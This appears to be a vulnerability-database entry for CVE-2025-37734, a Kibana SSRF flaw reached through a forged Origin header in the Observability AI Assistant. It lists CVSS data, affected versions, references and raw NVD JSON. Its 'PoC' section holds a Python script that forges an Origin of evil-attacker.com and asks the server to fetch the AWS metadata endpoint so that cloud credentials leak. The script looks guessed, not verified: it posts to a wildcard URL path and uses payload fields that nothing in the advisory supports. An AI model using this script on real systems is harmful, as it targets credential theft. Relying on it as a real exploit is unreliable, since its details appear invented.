CVE-2025-37734

Description

Origin Validation Error in Kibana can lead to Server-Side Request Forgery via a forged Origin HTTP header processed by the Observability AI Assistant.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:elastic:kibana:9.2.0:*:*:*:*:*:*:* - VULNERABLE

Kibana 8.x < 8.19.7

Kibana 9.x < 9.1.7

Kibana 9.x < 9.2.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-37734 PoC - Kibana SSRF via Forged Origin Header
# Target: Elastic Kibana with Observability AI Assistant

target_url = "http://target-kibana:5601/api/observability_ai_assistant/*"

headers = {
    "Origin": "https://evil-attacker.com",  # Forged Origin header
    "Content-Type": "application/json",
    "kbn-xsrf": "true",  # Kibana requires this header
    "Authorization": "Bearer <low-privilege-token>"  # Low privilege user token
}

payload = {
    "action": "chat",
    "message": "Please check the internal service",
    "target_url": "http://169.254.169.254/latest/meta-data/"  # AWS metadata endpoint
}

response = requests.post(target_url, json=payload, headers=headers, verify=False)

print(f"Status: {response.status_code}")
print(f"Response: {response.text}")

# If vulnerable, the server will make a request to the target_url
# potentially leaking AWS credentials or internal service data

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-37734
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-37734
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-37734/
[4] VulDB https://vuldb.com/cve/CVE-2025-37734
[5] https://discuss.elastic.co/t/kibana-8-19-7-9-1-7-and-9-2-1-security-update-esa-2025-24/383381

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-37734", "sourceIdentifier": "[email protected]", "published": "2025-11-12T10:15:43.487", "lastModified": "2025-12-11T21:09:00.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Origin Validation Error in Kibana can lead to Server-Side Request Forgery via a forged Origin HTTP header processed by the Observability AI Assistant."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-346"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.12.0", "versionEndExcluding": "8.19.7", "matchCriteriaId": "F268C691-728E-49B9-95EE-8980B92FB4F8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.1.0", "versionEndExcluding": "9.1.7", "matchCriteriaId": "47DD1DBE-9C32-445E-ADA2-7A0BB103F8DD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:9.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "977CBBAF-EE63-4BFA-B0BD-A06EB353C1FB"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/kibana-8-19-7-9-1-7-and-9-2-1-security-update-esa-2025-24/383381", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}